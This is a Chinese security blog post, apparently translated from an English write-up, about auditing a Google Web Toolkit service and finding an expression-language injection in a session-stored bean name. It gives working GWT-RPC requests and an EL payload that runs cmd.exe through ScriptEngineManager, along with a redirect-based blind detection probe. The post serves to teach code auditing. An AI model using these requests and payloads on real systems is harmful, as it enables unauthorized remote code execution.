出品|MS08067實驗室(www.ms08067.com)
本文作者:大盜賊卡卡
Google Web Toolkit簡稱(GWT),是一款開源Java軟體開發框架,今天這篇文章會介紹如何在這樣的環境中通過注入運算式陳述句從而導致的高危漏洞,
漏洞介紹
在WEB-INF/web.xml中,我發現了以下的web端點映射:
<servlet>
<servlet-name>someService</servlet-name>
<servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>someService</servlet-name>
<url-pattern>/someService.gwtsvc</url-pattern>
</servlet-mapping>
我們可以從上面代碼中看到參考了服務器映射,由于GWT可以通過定義客戶端以便于表示客戶端能夠進行哪些訪問,我們看看這些客戶端類com.aaa.bbb.ccc.ddd.client:
public abstract interface SomeService
extends RemoteService
{
public abstract void sendBeanName(String paramString);
public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList);
public abstract void createMibNodeGettingBean();
}
通過以上代碼我們可以看到有三個函式,所以把它們單獨拿出來,看看它們的各自功能都是什么,在ServiceImpl的主函式中,我們找到了如下代碼:
public void sendBeanName(String paramString)
{
if (paramString == null) {
return;
}
HttpSession localHttpSession = super.getThreadLocalRequest().getSession();
if (localHttpSession != null) {
localHttpSession.setAttribute("MibWidgetBeanName", paramString);
}
}
在這段代碼中我們通過輸入字串來更改"MibWidgetBeanName"屬性,除了這一點,好像沒有什么可以利用的,我們繼續看setMibNodesInfo函式:
public Boolean setMibNodesInfo(List<MIBNodeModel> paramList)
{
List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);
if (localList != null)
{
MibNodesSelect localMibNodesSelect = getBeanByName();
這個函式需要一個MIBNodeModel型別的一個串列,mibNodeModelList2MibNodeList這個方法會檢查我們輸入的串列是否符合規范,并且根據串列的一個元素的值回傳不同的值,
如果串列是空,這個函式會定義一個新串列,并且將內容設定為MIBNodeModel的默認值,然后getBeanByName函式就會被呼叫,繼續看看這一函式吧
private MibNodesSelect getBeanByName()
{
...
Object localObject1 = super.getThreadLocalRequest().getSession();
if (localObject1 != null)
{
localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");
if (localObject2 != null)
{
localObject3 = null;
try
{
localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");
}
finally
{
if ((localFacesContext != null) && (i != 0)) {
localFacesContext.release();
}
}
return (MibNodesSelect)localObject3;
}
}
return null;
}
由于這是一個私有函式,所以我們不能通過客戶端直接查看到這個函式的內容,在第8行我們可以了解到這里再次使用了”MibWidgetBeanName”屬性,將一個字串存盤到了localObject2中,
localObject2這個變數稍后會在第14行被用到去接受一個語言運算式,很明顯,這是一個經典的運算式注入漏洞,不過前提是先反匯編出代碼呀~
攻擊程序
首先,這不是一個有回傳值的語言運算式注入漏洞,這就意味著你不知道它是不是已經執行你輸入的命令,因此,我將它認為是語言運算式盲注,
我通過一個簡單的例子進行說明,假如我們一個JSF(java服務器框架)存在這樣的一個漏洞,那么漏洞代碼會類似下方:
<h:outputText value="https://www.cnblogs.com/ms08067/p/${beanEL.ELAsString(request.getParameter('expression'))}" />
那么,通過以下攻擊代碼就可以實作攻擊
http://[target]/some_endpoint/vuln.jsf?expression=9%3b1
由于瀏覽器會將"+"號轉換為空格,所以我們對"+"號進行url編碼,如果我們得到的結果是10,那么我們就知道服務器已經執行這一個"9+1"這個命令,使用數學運算式進行注入檢測是burpsuit檢測注入的方法,
但是,在上述我們進行審計的代碼當中,我們是不是不能去輕易的判斷他是不是存在語言運算式漏洞?當然不是,我們還有其他方法,通過查找JSF說明檔案,我發現了一些特別棒的函式,能夠方便我們在不發出http請求確定是否存在EL注入,
Oracle官方檔案陳述道你可以在FacesContext物件中使用getExternalContext方法,這個方法會回傳一個ExternalContext型別的值,它允許我們設定特定物件的回應屬性,當我查看檔案時,這兩個函式引起了我的注意:
1. setResponseCharacterEncoding
2. redirect
因此我們可以通過設定這個特定字串為下面java代碼:
facesContext.getExternalContext().redirect("http://srcincite.io/");
如果回應狀態值為302,重定向到了”http://srcincite.io/ “,那么我們就可以確定存在漏洞,
漏洞測驗
我們第一個請求是對MibWidgetBeanName屬性進行賦值
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 195
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|
通過回傳回應為”//ok[[],0,6]”可以了解到,我們對GWT注意已經成功,然后第二個請求觸發存放在session中的字串,但是,當我們發送請求之前,因為setMibNodesInfo函式傳入的是一個復雜的變數型別,我們需要查看被保護檔案的源代碼,了解一下允許提交的型別,在[strongname].gwt.rpc檔案中,我找到了在陣列中可以提交的型別: java.util.ArrayList/382197682,
現在我們可以發送我們的請求資料了
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
正確的回傳包內容應該和下面相似:
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Location: http://srcincite.io/
Content-Type: text/html;charset=UTF-8
Content-Length: 45
Date: Wed, 03 May 2017 18:58:36 GMT
Connection: close
//OK[0,1,["java.lang.Boolean/476441737"],0,6]
當然,能夠重定向說明已經執行成功了,但是我們需要的是得到shell,在這篇文章http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html可以使用ScriptEngineManager的腳本執行java代碼,不過他們的代碼都特別長,所以我使用相同的方法自己寫了一個
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")
更新MibWidgetBeanName屬性值,然后使用setMibNodesInfo再一次除非這個字串,然后得到系統權限
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 366
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")|1|2|3|4|1|5|6|
觸發語言運算式:
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

結論
這一漏洞幾乎不可能在黑盒滲透測驗中被發現,像burp suite這樣的工具不會發現這樣的漏洞,尤其是在考慮到字串儲存到seesion中這種情況,
隨著網路技術的進步,我們對自動化的依賴越來越大, 在這一領域我們需要更多知識,技能以及工具,
資料參考
http://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html
?
?
?
轉載請聯系作者并注明出處!
Ms08067安全實驗室專注于網路安全知識的普及和培訓,團隊已出版《Web安全攻防:滲透測驗實戰指南》,《內網安全攻防:滲透測驗實戰指南》,《Python安全攻防:滲透測驗實戰指南》,《Java代碼安全審計(入門篇)》等書籍,
團隊公眾號定期分享關于CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力于做一個實用的干貨分享型公眾號,
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!
?
?
?
?
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/270675.html
標籤:其他
上一篇:SQL注入靶場實戰-小白入門
